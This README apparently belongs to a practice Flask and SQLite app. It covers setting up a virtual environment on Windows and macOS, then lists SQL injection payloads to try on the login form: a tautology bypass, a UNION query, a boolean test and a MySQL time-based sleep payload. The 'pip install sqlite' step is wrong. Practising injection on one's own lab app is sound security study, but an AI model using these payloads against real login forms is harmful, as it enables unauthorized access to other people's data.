This README provides step-by-step instructions for setting up a Python virtual environment across different operating systems. The guide also includes additional tips for working with Flask and SQLite.
- Setting Up a Virtual Environment
- Activating the Virtual Environment
- Working with Flask
- Working with SQLite
- Testing SQL Injections
- Open Command Prompt: Press
Windows + R, typecmd, and hit Enter. - Navigate to Project Directory: Use the
cdcommand to navigate to your project folder. - Create Virtual Environment:
python -m venv env
- Open Terminal: Open it from the Applications folder or search for it using Spotlight (
Cmd + Space). - Navigate to Project Directory: Use the
cdcommand to go to your project folder. - Create Virtual Environment:
python3 -m venv env
- Activate Virtual Environment:
.\env\Scripts\Activate
- Activate Virtual Environment:
source env/bin/activate
- Install Flask:
pip install Flask
- Run Flask Application:
flask run
- Install SQLite:
pip install sqlite
- Initialize Database:
python init_db.py
-
Username:
' OR '1'='1
-
Password:
' OR '1'='1
SQLite doesn't allow multiple statements in a single SQL query, which limits the types of UNION queries you can perform. However, you can still test basic UNION-based SQL injections.
-
Username:
' UNION SELECT NULL, 'a', 'b' --
-
Password:
Leave it blank
-
Username:
' OR '1'='1
-
Password:
' OR '1'='2
SQLite does not have built-in sleep functions, but for databases that do (like MySQL), you could use payloads like:
-
Username:
' OR IF('1'='1', sleep(10), 0) --
-
Password:
Leave it blank